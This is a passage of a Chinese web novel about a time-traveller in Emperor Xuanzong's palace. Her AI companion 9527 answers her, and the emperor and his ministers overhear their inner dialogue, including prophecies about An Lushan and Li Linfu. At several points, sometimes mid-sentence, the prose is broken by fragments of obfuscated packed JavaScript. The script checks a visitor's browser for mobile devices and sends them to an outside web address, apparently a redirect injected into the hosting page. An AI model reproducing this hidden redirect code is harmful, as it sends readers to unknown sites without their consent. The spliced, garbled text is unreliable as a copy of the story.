她站门口,双眼一扫,便看到了蹲灶台前拨弄烧火棍的赵小禾。 给单娘子的贿赂显然起了作用,不过一天功夫,小丫头便重新安排了轻松省事,更符合她这个年纪的活儿。 “小禾。”她站不远处轻轻招手。 赵小禾听到她的喊话,双眼一亮,眼看着就要跑过来,下一秒立刻想起什么似的,急急忙忙看向身旁的单娘子。 单娘子隔着人群对萧青梧点头示好,随后对着赵小禾颔首,示意她可以出去了。 出了厨房,来到墙角拐弯处,萧青梧这才说道:“小禾,从今天开始,我就不在这里待了,我房间里那些东西,除了几件衣裳我带走,剩下的都归你,晚上回去了你自行处置就行。” 赵小禾顿时慌了神,双手立刻攥住萧青梧的袖子,惶恐不安地问道:“姐姐,你要去哪?你……你要出宫了吗?再也不回来了是吗?” 萧青梧摸了摸她的小脑袋:“别慌,姐姐不出宫,只是不在尚食局这里了。” 赵小禾还是一脸天塌了的表情:“那……那你去哪啊?” 萧青梧带得意地扬了扬眉:“从今天开始,姐姐就去陛下跟前伺候去了。以后你也算是有靠山的人了,谁再敢欺负你,你就报我的名,我不太忙的时候就过来看你。” 赵小禾哇了一声,又是羡慕与敬畏交织,后者显然更多。 对她这种没有品级的小婢而言,周尚食已经是她目光所及之处最最了不起的人物了,堪称头顶的天,再往上的连想象一下都不敢。 她心有戚戚焉,抓着袖子的手不由自主松了点,想了好一会,小声问道:“那……如果旁人问起来,我该怎么说呢?” 萧青梧不假思索回道:“照实说就行。” 这种事也没必要隐瞒,很快尚食局人人都会知道她去哪了。 又叮嘱了一番,萧青梧这才转身离开。 回头时望见那瘦小身影仍呆呆站在原地,眼巴巴地望着自己,她心中暗暗想着,以后若有机会,一定要把赵小禾调到自己身边去。 这么小的小姑娘,孤零零可怜巴巴的,怎么能让人放心的下。 【9527,我怎么觉得这事透着诡异呢?不是说唐玄宗时期,全国宫女人数最多的时候超过4万人吗,我看光长安这里,现在就已经有一两万了,他身边怎么会少了伺候的人?】 往回走的路上,萧青梧这才有时间慢慢琢磨,稍微一想,便觉得这事处处不对劲。 【目前掌握信息太少无法具体分析,不过,开元十三年,李隆基设花鸟使一职,意在从民间采选美女供自己和王公贵族们享用,我想这个消息您可以参考一下。】 萧青梧想了一会,猛地反应过来。 【你是说,他看我长得漂亮,所以才想着把我放身边??】 【存在这种可能性,且概率不低。】 萧青梧恍然大悟,她就说,唐玄宗这个知名的老色鬼,搞这么一出是为了什么,原来大费周章就是为了这个。 好吧,其实也没费什么周章。 萧青梧死死拧着眉,朝天翻了个大大的白眼。 她本身就长得漂亮,高科技仿生人皮套一穿更像是开了美颜。不是自夸,萧青梧敢说自己这张脸,在封建社会绝对是个难得一遇的超级大美人。 当然,除了她自己,她现实中认识的很多朋友,在这里个个都会是大美人。 在封建社会里,美除了需要极强的基因彩票,还需要丰盈的物质来供养。 穷人家很难出帅哥美女的。 营养结构失衡导致发育不良,缺钙导致O型腿或牙齿早坏,热量摄入不足导致脸颊普遍凹陷消瘦,颚骨发育畸形,长期贫血导致皮肤粗糙蜡黄,再加上劳作日晒导致面上细纹、斑点等等等等…… 或者说,穷人家即使生了个底子不错的婴儿,艰苦的条件也会把他们的美扼杀在成长阶段。 想到此,萧青梧心里刚升起的那点虚荣心和得意便瞬间消失,觉得为这种事洋洋得意的自己真的很没意思。 如果只是被放在跟前看几眼,担当个花瓶的作用,萧青梧并不介意,但如果真的要发生实质性的关系…… 嗯……反正她的空间钮里有药,大不了给狗皇帝来上一针,摸走他的信物出宫就行。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16275880|182410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她是不可能跟一个老男人上床的,历史名人也不行。 萧青梧回去的时候,童二娘子已经拎着包袱在那里等候了。 她赶紧跟张内侍道歉,好在对方很好说话,没有计较她迟来几分钟。跟周尚食道过别后,一行人便朝着新居所出发。 野狐落在大明宫昭德寺附近,离着宣政殿、紫宸殿、延英殿等主要几个政事殿和寝宫别殿都不远。 这是为了让宫女们就近伺候,随传随到,总不能把所有人一股脑塞到隔着一个多小时路程的掖庭宫,大半夜突然要找个谁的时候再急急忙忙传唤吧。 在张内侍的带领下,萧青梧和童二娘子一路无恙地到了野狐落,给两人指了下屋子,张内侍便暂时离开。 门一关上,童二娘子明显松了口气。 萧青梧边笑边打量着屋内陈设:“怎么紧张成这样?我看张内侍明明很和善嘛。” 这话不假,萧青梧对宫里不熟悉,一路上问了张内侍很多,比如这个宫那个宫的,但凡能说的,张内侍无不耐心解答。 童二娘子将包袱放桌上,仔细环顾四周,这才说道:“张内侍可是高将军手下的人,哪怕只是个内给事,也不是我这样无品无级的小婢可以怠慢的。” 萧青梧笑了笑没再说什么。 童二娘子看着与她年岁相仿,二十左右,模样清秀,通身气度却十分稳重,同是尚食局里出来的,两人关系可以说一句还不错。 “你想睡哪个床?”新的宿舍是两人间这一点让人十分惊讶。 萧青梧指了指靠窗的位子:“如果不介意的话,这个位子给我,如何?” 童二娘子双眉微抬,眼中有些惊讶和意动,却还是劝她道:“这……怎么能让你睡窗户边上呢?” 眼下正值寒冬,越是靠近门窗的位置越冷,她自然不想睡那儿,但两人总归是一处来的,往后又同在御前伺候,少不了互相扶持帮衬。 能让一步就让一步,加上她还存着要跟萧娘子打好关系的心思。 萧青梧把那个小得可怜的包袱扔床上,一屁股坐下,浑不在意地说道:“无碍的,我体热出汗多,并不畏惧严寒,以往这种时候总是热得连袄子都穿不住。” 萧青梧这么一说,童二娘子才注意到,对方身上衣着竟真的单薄至极,一件稍厚的秋衣,内里连个填充御寒的夹层也无,甚至露出来的肌肤都没有任何一点被冻得通红。 童二娘子这才信了萧青梧的话,或许有的人就是格外抗寒,天生不怕冷吧。 这么想着,便也心安理得地接受了靠墙的床铺。 她手下麻利地收拾床铺归置物品,做着做着,动作突然慢下来,凝神听了听门外动静,犹豫着缓缓开口。 “萧娘子,你说……”童二娘子一脸疑惑,声音放得很轻,“陛下怎么会突然让宫女们贴身伺候笔墨呢?” 萧青梧笑嘻嘻的,坐在床上仰头看她:“皇帝找两个漂亮宫女放跟前,这不是很正常。” “可以往陛下召集群臣议事、处理政务时,是不允许宫女在场的。”童二娘子俯下身子,小声道,“你说,这其中是不是有什么不能让我们知道的内情啊?” 萧青梧看得出她隐藏在沉稳之下的惶惑,笑着摸了摸她的手,说道:“别担心,哪怕真有什么事,我也会尽量护着你的。” 宫女们大多渴望过上好日子,一朝飞黄腾达,这话不假,但事情发展完全不遵循历史固有规律,这就会让人很不安。 童二娘子闻言,不由自主将目光放在眼前那张美如神妃仙子般的脸上。 这真是一张任谁看了都会心动的相貌。 她和局里其他人私下闲聊时,大家都有着共同的认知,萧娘子以后一定是要做娘娘的。 她觉得,陛下说不定很快就会给萧娘子一个封号,从此成了贵人。 听了对方的保证,童二娘子心中稍定。 前路未知,但有了萧娘子这句话,她心里莫名就踏实了许多。 5. 第 5 章 稍微洗漱拾掇一番,二人便匆匆赶往延英殿当值,连个半天缓冲适应的时间都不给。 今日朝议还是在延英殿内。 两人各自捧着茶点器皿,在另一名内侍的引路下,小心翼翼踏着积雪初融的宫道,生怕脚下打滑。 萧青梧进去时,抬眼一扫便发觉,今天跟昨天比起来又多了好几人。 【我终于可以说那句话了:好多人啊!】 【这里只是召见各部门长官及宰相们的场所,人员并不算多,在各级规模的朝会中,甚至可以说是人数最少的。】 放下托盘,二人提着茶壶给李隆基和众位官员一一斟茶,布置茶歇,伺候妥当之后,站到左右角落两侧静候命令。 一切都很顺利,除了刚刚倒茶时,茶壶太满太重,萧青梧手抖没拿稳一不小心洒出去一部分,泼了某个不认识的老头半片衣襟。 好在那人没有怪罪她,甚至连眉梢都未动一下,萧青梧便乐得装瞎当做没看到。 反正让她当着这么多人的面扑通一声跪倒大喊饶命,实行起来的困难程度不亚于跟李隆基睡一觉。 有些事她恐怕永远都适应不了了。 【好人啊,居然没生气,要是换成一个暴脾气的,现在是不是该喊着把我拉下去打板子了。】 萧青梧心中感叹,眼神暗搓搓打量着那个被自己祸害了的倒霉蛋。 老头气度清华,仪表非凡,哪怕上了年纪,也能看得出来年轻时的俊秀。 9527沉稳回道:【仗责的确是宫廷内处置宫人们常用的手段之一。】 萧青梧转念又一想:【说不定这会当着皇帝的面,他不好发作,但是转头又来找我麻烦呢?比如把我赶出延英殿,不让我再贴身伺候了什么的?不过这人一看就是个好人呢,长得也挺好看的,嗯,是个帅老头。】 【主人,您应当对自己有着充足的信心。】 【你说的信心是指我的美貌还是狗皇帝的色心?】 砰——的一声巨响骤然响起。 萧青梧抬眼,李隆基又一次莫名其妙地摔了个什么东西。 再一看,在场众多官员里,有人战战兢兢地大气不敢出,有人稳如泰山端着茶杯一下下撇着浮沫,有人眼观鼻鼻观心似是什么都没发生。 萧青梧见怪不怪,她懂,这是情绪爆发的第二场,跟她来之前的续上了。 童二娘子却吓得不轻,进门不到十分钟,心跳还提在嗓子眼处没落下去呢,这会被天子之怒吓得魂飞魄散,当即伏跪在地不敢抬头。 【9527,我需要跟着一起跪吗?要是不跪的话,会不会看着很明显?】 【这取决于您的接受程度。】 【那就不跪。】 萧青梧一秒都不犹豫地做出了选择。 反正李隆基这火也不是冲她来的,她一个缩在角落里的小宫女,又有谁会管她跪不跪的。 张九龄就是悠然品茶的那个。 他非但没有被天子震怒所慑,心里反倒泛起几分微妙的快意。 陛下早些年励精图治,克己奉公,不喜奢华,曾将宫中的金银器物熔化了充作军资之用。又将多余的宫女遣散出宫,允许她们婚配,连织锦坊这等奢靡之所也一度废止,满朝文武谁不盛赞陛下有太宗遗风? 然而近几年,许是国家日渐太平,天下无事,陛下于国事上虽不曾懈怠,行事作风却一日日地远离了曾经的节俭。 好比这延英殿,肉眼看见地,昂贵奢侈的器物一日多过一日。 再好比宫女们,不算洛阳上阳宫之处,仅长安的宫女人数就就超过了两万。 就这还不够,又特设花鸟使一职,在民间搜寻美女不停放入宫中。 历朝历代,哪朝有过这么多宫女! 为着此事,张九龄和朝中几个性格耿直刚毅的臣子们早已暗生忧虑,然而皇帝没有因为女色耽误过政事,他们即便心中不喜,也不好直言进谏,拿这事徒惹圣心不快。 陛下还是那个朝乾夕惕的圣明天子,但种种令人不安的迹象也在冒头,臣子们哪能高兴得起来。 如今亲耳听到有人直言不讳地指出这一点,虽然用词粗鄙无礼了些,张九龄却也没有生气,反而像三伏天吃了冰酪一样通心舒爽。 轻呷一口茶汤,他眼风微扫,恰与对面低头佯装数蚂蚁的裴耀卿视线相触。二人交换了个心照不宣的眼神,旋即若无其事地移开目光。 目光游移间,不经意地再次掠过那个角落里的身影,张九龄的思绪不由回到半月之前的冬至宴上。 那一天,皇室宗亲、五品以上文武百官、地方朝集使与藩国使臣等悉数到场。 酒过三巡,宴至酣处,一道毫无礼数的、过分喜悦激动的年轻女郎的声音,骤然响彻在大殿中。 她口中喊着闻所未闻的“唐玄宗”,继而口无遮拦地直呼陛下大名,说着表达喜悦之情的话,接着又提起“杨贵妃”、“安史之乱”等词句。 【都吃好喝好啊,快乐的日子没几年了,到时候全都得跟着李隆基一起玩完。】 【安史之乱的爆发时间为755年,准确地说,距此还有22年。】 这是那个神秘女郎在冬晏上留下的最后一句话,与之相伴的还有另一个男人的声音。 如此大逆不道!如此骇人听闻! 陛下的震怒可想而知,宴后,他下令缉拿此獠处以极刑,然而搜寻一番后,得来的结果却让人震惊万分。 这些天里,高将军三天两头地去尚食局试探摸底,张九龄也渐渐知道了更多内情。 名为萧青梧的女郎,不是此间人,更不是此世人,竟似能预知后事,更能说出许多还没发生、或即将要发生的事,字字句句皆关乎大唐国运。 那心声分明是两道,一道属于萧青梧,一道不知来历却尊她为主,应答间比她要沉稳得多。 不过,张九龄已经敏锐察觉,并不是所有人都能听见这些心语,陛下可以,部分朝臣可以,普通的侍卫宫女们却浑然不觉。 如今只需等待昨日紧急派往渤海的信使,待军报传回,便可验证此女预言的真伪。 李隆基毕竟是经历过大风大浪之人,很快便强压下怒火。二十载帝王生涯,早已将他的性情磨砺得喜怒不形于色。若非此女屡屡口出狂言、犯上不敬,他又岂会如此轻易失态。 待到将有用的消息都挖出来后,他定要…… 冷厉森寒的杀意自眼中一闪而过,他冷哼一声,已然调整好心绪,沉声开口道:“子寿,将你方才所奏之事继续说来。” 【有名字了!快查一下,我感觉我在哪听过这个名字!】 张九龄身形几不可察地微微一滞,并未起身,只坐着欠了欠身,继而沉稳说道:“臣方才所言屯田一事……” 【好的主人,已锁定发言者的身份。张九龄,字子寿,唐玄宗时期著名诗人、宰相,对唐代的繁荣做出巨大贡献,后因被李林甫陷害遭唐玄宗贬黜,代表作有《望月远怀》、《感遇》等。】 【啊啊啊啊!我知道我知道,是不是写海上生明月天涯共此时的那个张九龄?!】 【《望月远怀》,于张九龄在开元二十四年遭李林甫诽谤排挤罢相后所做,海上两句正是其中家喻户晓的名句。】 张九龄的话刚开了个头,再也说不下去了。 他面色大变,猛地转头看向一旁同样一脸惊愕的李林甫,不止是他,所有人的目光顿时全聚焦在看着颇为不知所措的李林甫身上。 “陛下,臣……”李林甫慌忙起身,正要辩解,就被挨着坐的韩休一把捂住嘴,以眼神示意他不可多言。 那腹语是真是假暂且不论,若此时自乱阵脚被萧青梧察觉,陛下治罪下来,届时莫说前程官位,只怕全家老小的性命都要系于这一线之间。 【咦?发生什么事了,政见不合要打起来了?话说,我突然发现,在场居然全是老头,没有一个稍微年轻点的。】 【在开元二十一年这个时间点上,李隆基的核心决策圈确实呈现出高龄化的特点。这主要是基于唐代的官员迁转制度,官员需凭藉资历与政绩逐步升迁,通常需至五十岁以后方能进入权力中枢。】 【这一点就很不好,古代人平均寿命那么短,五十岁都是高寿了,一把年纪还在高位上耗着,犯老年痴呆了怎么办?嗯……怎么感觉我在指桑骂槐呢……】 萧青梧心里小人双手环胸,眼睛上白光闪过,接着做出重要指示。 【9527,立刻全方面扫描李隆基身体健康状况,检查其是否有老年痴呆症的预兆!】 李隆基猛地一拍御案,力道之大,震得笔墨纸砚齐齐跳起,一方珍贵的黑玉砚台斜滑出去,浓黑的墨汁泼洒而出,在华贵的绢帛上洇开一片刺目的狼藉。 他强压怒火,额角青筋隐现,阴沉沉的目光扫过骚动的群臣,几息之后,才从牙缝里挤出声音:“……政事要紧,其余容后再议。子寿,你继续说下去。” 张九龄将目光从李林甫身上收回,面容已不似方才那般沉稳恬淡,反而凝上了一层薄霜。 李林甫被韩休松开,他并未立刻言语,只是低头整理了下衣袖,对着御座的方向微微躬身,接着又转身向韩休颔首致谢,便沉默地坐回了原位。 张九龄定了定神,强压下心中翻涌的惊涛骇浪,缓缓吁出一口气,继续奏陈:“今关中粮秣之困,犹悬顶之剑,漕运疲敝……” 【快录像快录像!一定要365度无死角啊,不要加任何打光滤镜,就要古香古色原汁原味!】 【主人请放心,录像模式24小时开启中,绝不会有任何遗漏画面。】 “……”张九龄的奏对有一瞬间的中断,随即如常接上,“……民力渐凋。臣观河南诸州,沃野千里而沟渠废弛……” 【总算见到一个我喜欢的!嘿嘿,他的诗我到现在还会背 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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【唉……要不那句话怎么说来着,有能力的人一旦走偏,所造成的破坏往往比庸碌之辈更可怕。李隆基这不就是仗着自己有能力却盲目自信,最终养虎为患,自食恶果么。】 【您的比喻很形象,无论是李林甫、杨国忠还是安禄山,本质上来说,他们都是帝王意志的延伸,更是李隆基一手纵容、刻意忽视的结果。在安史之乱这件事上,他的确要负最大的责任。】 萧青梧目光四下一扫,心里正跟9527嘀咕得热闹,突然发现刚才还井然有序的朝堂,此刻陷入一片诡异的寂静。 这种场面总让她有种莫名的既视感。 可能……古人谈事情就是喜欢说一句顿三顿,非得酝酿足了气势才接下一句吧? 【我还是觉得怪怪的,9527,你再分析分析,高力士和陈玄礼昨天去掖庭到底干嘛去了?为什么来了又突然走了?还有,他们前脚才走,后脚就把我调到御前伺候,他们该不会是冲着我来的吧?】 【结合所有已掌握的信息来看,高力士和陈玄礼现身掖庭宫,和您并没有直接的关系。目前信息太少无法得出明确结论,建议您继续保持观察。】 【那有没有一种可能,他们是替李隆基提前来面试我的?】 萧青梧十分自信地想着:【我觉得这个理由最合理,毕竟我这么美,对吧?不过考察就考察呗,带那么多人干什么,摆谱充场面吗?】 【排除所有不可能的选项,剩下的即使再不可思议,也有可能是真相。您的推测确有一定道理,以李隆基在女色上一贯的作风,他确实做得出来这种事。】 但萧青梧仍旧觉得奇怪,高力士出现在掖庭没问题,毕竟他是李隆基的跟班么,工作重心就是服务好皇帝。陈玄礼呢?禁军统领,除非掖庭的宫女太监们集体造反了,否则萧青梧想象不出任何陈玄礼会出现在那的理由。 算了,想不明白就不想,后面慢慢地总会知道的。 “啪嗒——”一声,李隆基手中的笔应声跌落在御案上。 他手指发颤,眼底翻涌着难以压抑的惊怒,面上虽还强作镇定,开口时声线却已支离破碎:“让……让她……” 李隆基费力说出几个字,高力士立马心领神会。 他快步走至萧青梧面前,低声吩咐道:“你们二人去尚食局,取些新进的顾渚紫笋来,要快。” 萧青梧躬身行礼:“遵命,奴婢即刻就去。” 童二娘子也赶紧从地上爬起来,和萧青梧一前一后退出延英殿。 一出殿门,稍走远几步,萧青梧小声说道:“你也太老实了,没人让你跪你还一直跪着,地上多冷啊,小心膝盖冻伤了。” 童二娘子脸色苍白,情绪紧张,左右看了看,同样小声说道:“我实在是怕得紧……方才陛下震怒,我双腿一软便再起不来了,后来不见叫起,我更是动也不敢动,哪敢擅自起身。” “那你今晚缝个护垫,绑膝盖上。”萧青梧指了指她的腿,“以后跪的时候多着呢,多个东西垫着总能舒服些。” 童二娘子点了点头:“正有此意。” 6. 第 6 章 延英殿内,气氛像是被寒气凝住了一样令人窒息。 李隆基揉着突突直跳的太阳穴,目光扫过面带忧色的群臣,最终落在了张九龄身上,声音沙哑地问道:“子寿,前几月所议张守珪讨契丹一事……那个叫安禄山的胡将,如今身在何处?” 张九龄心中叹息,起身回奏:“陛下,您忘了,安禄山征讨契丹失败被押送至京,按律本该处死,只是……陛下天恩,已下旨将其赦免放归了,算算时间,如今怕是已经到幽州地界了。” “回去了?”李隆基眉头紧锁,指节无意识地重重敲击着御案,“哦对,是给放回去了。” 当初张九龄力谏要斩安禄山,称其貌有反相,狼子野心,不杀必为后患。当时他是如何回应的来着? 李隆基揉着额角艰难回忆,是了,是他言之凿凿地说安禄山是忠诚良善之人,认为张九龄危言耸听,执意把人放了回去。一想到此,李隆基心里顿时升起铺天盖地的悔意。 他沉吟片刻,声音里带着不易察觉的急切,对着群臣道:“可有法子再召回来,然后……杀之?” 张九龄微微叹了一声:“陛下,军令岂是儿戏?既已赦免放归,无故再召,反复无常,非但有损朝廷威信,更恐寒了边关将士之心啊。” 李隆基语塞,也明白已经错失了最名正言顺的机会,只得烦躁地挥挥手:“罢了。” “眼下虽已错失良机,然时间尚且充裕,还远未到无可挽回的地步,不如……” 萧嵩跟着接话,话语有片刻中断,沉稳坚毅的面容上闪过一抹决绝的狠厉,“不如秘敕张守珪,令其频遣安禄山领兵出击,胡虏凶悍,战事无常,一旦失利,便可依军规将他押回长安问斩。如此也算名正言顺,旁人亦无话可说。” 安禄山好歹也是有官职在身的杂号将军,不是无名无姓之辈,更是张守珪收养的义子,因为几句尚不知真假的心语就杀了他,难免引人猜疑,甚至动摇军心。 不远处的韩休听到这里,不由得发出一声冷哼。 “安禄山此人,能得张守珪赏识收为义子,皆因其骁勇善战,屡立战功。若依萧令公之法,遣其出战,败了自然好说。可万一他不但未败,反而再建新功,届时又该寻何种理由制裁他?莫非还要奖赏其战功,再加官晋爵不成?” 萧嵩闻言,也不管这会是不是在御前,当即面色一沉,反唇相讥:“哦?如此说来,韩尚书必有更高明的见解了?萧某愿闻其详!” 韩休顿时语塞,其实他也没有更万全的法子,只是方才听萧嵩侃侃而谈,就不由自主地想找个理由驳一驳他。 两人前几个月才因政见不合闹得不可开交,双双被罢相处罚,韩休在那之后,也多次告诫自己遇事要戒急用忍,切勿与人争执,但一遇到萧嵩这老对头,就忍不住想刺两句…… 韩休迅速收敛心神,略一思忖,转向李隆基,肃容道:“陛下,依那萧青梧所言,若安禄山真是日后霍乱大唐之人,则非但不能允其掌兵,更应就此将其雪藏,绝不可再予其任何积累声望、培植势力的机会!” 李隆基听他这番话,目光微凝,示意他继续说下去。 韩休深吸一口气,将自己的想法和盘托出:“古往今来,凡行叛乱之举者,无一不是手握重兵、党羽众多之徒。只要断绝其掌兵之途,使其远离权力中枢,如一介富家翁般被圈养看管起来,无兵无势,纵有滔天野心,亦不过是无根浮萍,徒呼奈何!此乃釜底抽薪之策。” 顿了顿,他继续说道:“届时,其人生死,皆在陛下股掌之间,又何须再寻什么阵前失利的由头?” 李隆基默然不语,心中反复权衡着萧嵩与韩休的计策,只觉左右为难,难以决断。 两人说得各有道理,难分对错。让安禄山频频领兵,杀他的借口是有了,却也可能反令其借军功坐大,弄巧成拙。就此雪藏是个非常聪明的法子,可谁能断言,今日压下安禄山,他日不会冒出第二个、第三个“安禄山”? 选择了一条路就要承担背后的风险,所幸,他还有许多时间去仔细筹谋。 李隆基深深叹出一口气,胸中纷乱如麻,他绕着御案缓缓踱了两圈,方才重新落座。 他环视着众臣,声音低沉,神情莫辨:“诸卿对此女之事,如何看待?尔等以为,其所言……有几分可信?” 一阵沉默过后,高力士谨慎开口:“陛下,这凭空听见人腹内心语,实在是亘古未有的奇事。然观萧青梧所言,事事具体,句句分明,不似信口胡诌之语。眼下渤海战报未至,她所言是否属实,仍需验证。老奴愚见,不妨暂观其变,待两月后军报传来,再行定夺。” 其余众臣纷纷附议,所言皆与高力士大同小异。在真假未辨之前,萧青梧绝不能动,不仅如此,还要放在眼皮子底下天天看着,以待探听到其他有关国事的讯息。 朝议在一片诡异莫测的气氛中散去。 众臣依序躬身退出延英殿,李隆基突然道:“李卿,暂留片刻,朕尚有要事相商。” 李林甫正往外走的步子一顿,心中顿时掀起惊涛骇浪,后背瞬间沁出一层冷汗。 他极力维持着面上的平静,重新回到殿中,垂首躬身道:“陛下有何吩咐?” 李隆基的目光落在他身上,深沉难辨,沉默了良久,方才缓缓开口:“李卿。” 李林甫的腰弯得更低了些:“请陛下吩咐。” 李隆基并未立刻发作,他只是用那双深邃难测的眼睛打量着李林甫,目光锐利如刀,仿佛要剖开他的皮囊,看清内里的忠奸。 “萧青梧所言……”李隆基语速缓慢,带着一种不容错辨的威压,“朕,暂且信你。朕不是不辨是非的昏君,不会为着还未发生的事迁怒于你,更不会因为一个预言枉杀忠臣,你暂且安心,无需多想。” 李林甫闻言,心中巨石并未落下,反而提得更高。 李林甫了解陛下就像他了解自己的左右手,他这么说,并不代表真的信任自己,就此饶过他,陛下只是为了稳住他,以便更好地监视驱使。 他立刻深深揖礼,语气恳切甚至带上了几分哽咽:“陛下明鉴!臣对陛下、对大唐之忠心,天地可表!臣无陛下无以至今日,陛下对臣有大恩,臣此生绝不会做出任何有负陛下之事!” 李隆基虚虚一抬手,止住了他的动作,脸上看不出喜怒:“朕深知李卿之才,于政务上亦是勤勉得力,卿且先安心办好眼下差事,莫要多想,亦不必为此等无稽之谈忧惧。朕既然说了信你,就不会再因几句虚无缥缈之语而疑你。” “是!臣定当鞠躬尽瘁,以报陛下天恩!”李林甫连声应道,心中却是一片冰凉。他知道,如今的自己不要说仕途上还能不能再进一步,就是性命都只在陛下一念之间。 他再清楚不过,萧青梧所说的话已在陛下心中扎下一根 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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走了几步,裴耀卿突然想起一事,他环顾四周,确认无人能听闻,这才将声音压得更低,轻声说道:“昨日我隐约听闻,高将军与陈将军竟亲自率了一队龙武军精锐,突然去了掖庭宫那等地方,阵仗颇大,风声鹤唳……那架势,分明是奉了圣令去处置……” 他顿了顿,目光中带着沉思与不解:“按常理,既然出动了精锐,断无轻易放过之理,怎地最终竟是雷声大雨点小,非但没动静,今日反倒将人提到了御前来了?这……莫非昨日在掖庭发生了什么变故?抑或是陛下临时改了决定?” 张九龄闻言,面色凝重地摇了摇头,声音同样很轻:“此事确实蹊跷,高陈二位将军皆是果决之人,陛下既已下决心,断无空手而回之理。其中定然发生了我等不知的变故,使得陛下临时改变了主意。” 他沉吟片刻,继续说道:“或许……她昨日在掖庭内又吐露了某些更惊人的话,让两位将军和陛下不得不暂留其性命。” 裴耀卿眉头紧锁,忧心忡忡:“此女心语,关乎国运,亦关乎我等身家性命,是福是祸,实难预料啊。” 张九龄脚步未停,目光依旧望着前方冰冷的宫墙,仿佛能穿透砖石,看到昨日掖庭中那暗流汹涌的一幕。 他微微叹了口气,目光抬高望向远处宫墙之上的一方蓝天,内心沉如寒铁,不知所措。 7. 第 7 章 与裴耀卿分别后,张九龄并未直接回府,心中思绪纷乱如麻,萧青梧预言中可怖的未来如一柄巨锤,沉甸甸地压在他心头。他脚步一转,并未走向宫外车马等候之处,而是径自往尚书省值房走去。 他寻的正是刑部侍郎严挺之。严挺之性情刚直,与他素来交好,平日里对李林甫这样刻意逢迎的弄臣多有不满。更重要的是,冬至宴上那石破天惊的心语,严挺之同样在场亲耳听闻,这些时日,两人亦就此事交换过震惊与忧虑,严挺之算是为数不多的,能在此事上让张九龄倾吐交谈之人。 值房内,严挺之正埋首批阅公文,见张九龄面色沉凝地进来,便搁下笔,惊讶问道:“子寿兄?散朝了怎未回府?瞧你神色,莫非……那位又说了什么惊世的新论?” 张九龄挥手屏退了左右小吏,将门关上,待房内只剩他二人,才在严挺之对面坐下,疲惫地叹了口气:“挺之所料不差,今日……其所言愈发让人惊心了。” “哦?”严挺之身体微微前倾,神色紧张起来,“又说了什么,莫非关乎……?”他指了指东北方,意指渤海战事。 张九龄摇了摇头,接着将今日朝议时,萧青梧与另一个“九五二七”所说的,关于李林甫在未来会如何陷害他、安禄山将祸乱大唐等消息一一道来,尤其强调了群臣关于如何处置安禄山的分歧与讨论。 严挺之听着,放在案几上的手渐渐握紧,待听到“陷害”“贬黜”几字时,他眼中猛地爆射出锐利的光芒,几乎是咬牙切齿地低声骂道:“我早知此獠心术不正,只是未曾想,他竟敢构陷子寿兄你这等重臣!” 想到李林甫未来的勾当皆露于人前,严挺之心中便生出一股快意,他问道:“子寿兄,快与我讲讲,陛下是何反应?” 张九龄抚着长长的胡须,微微一笑:“陛下虽未立刻作出什么反应,不过,今日散朝后,他单独留下李林甫,想必少不了一番敲打,如今李林甫怕是食不甘味、夜不能寐了、日日忧惧不可终日了。” 严挺之闻言,眼中精光乍现,抚掌冷笑道:“善!此等魑魅之徒,终日算计,终遭反噬!听闻其寝食难安,某只恨不能亲见其惶惶之态,当真天道轮回,报应不爽!” 他顿了顿,眉头复又紧锁,忧色更深:“然则,子寿兄,以你所言,那安禄山之患若真如此酷烈,合该不管三七二十一,早早铲除了才是啊,当断不断,反受其乱。” 张九龄摇了摇头,神色凝重地叹了口气:“挺之岂不闻名不正则言不顺?安禄山如今罪未显,功尚存,更是张守珪义子,更因其骁勇在军中素有威名。若仅凭几句无从考证的心语,便贸然诛杀边将,非但难以服众,更恐激起预料之外的祸患。” 他深深地皱着眉,继续道:“今日延英殿内,萧嵩主张阵前失利之法,韩休则建言雪藏圈禁之策,此事棘手,需从长计议,既要除患,亦需稳局。如今……唯有静待渤海军报,先验证此女所言虚实,再图万全之策。事关重大,一步踏错,后果不堪设想啊。” 两人就这般在值房内低声讨论了许久,从处置安禄山的棘手,谈到李林甫如今岌岌可危的处境,再至对那萧青梧其人的深深忌惮与疑虑。 直至夕阳西斜,窗外传来官员们散值的脚步声,两人方才惊觉时辰已晚,各自怀着满腹的心事与警惕,分别离去。 继而回到家中,无心用餐,张九龄独自坐在自家书房中,在宣纸上默写着回来时念了一路的诗句。 海上生明月,天涯共此时。 蘸饱浓墨的大字力透纸背,字迹遒劲有力,尽显风骨。清冷的月光透过窗棂,洒在铺开的宣纸上,窗外残雪未消,寒梅初绽。 张九龄久久凝视着诗句,一种难以言喻的情感渐渐充盈胸怀。在萧青梧口中,这是他未来被贬黜时所做,这也确实是他的诗风,是他可能会有的心迹。 萧青梧念的那几句中,他尤爱写于纸上这一句,气象开阔,情思绵邈,连他自己默写时,亦忍不住在心中暗暗咀嚼,为之心神摇曳。 那女子竟能诵我的诗作?而且听其心声,语气雀跃,情绪激动,竟似对自己颇为推崇? 难道自己在未来会青史留名,成为一个了不得的人? 这是一种极其奇异的感觉,一方面,他为着预言中的未来而感到心寒和警惕,另一方面,得知自己的诗作竟能流传至后世,为人所铭记、传诵,那种属于文人的欣慰与自豪感,又像是一股难以抑制的暖流,悄然沁入心脾。 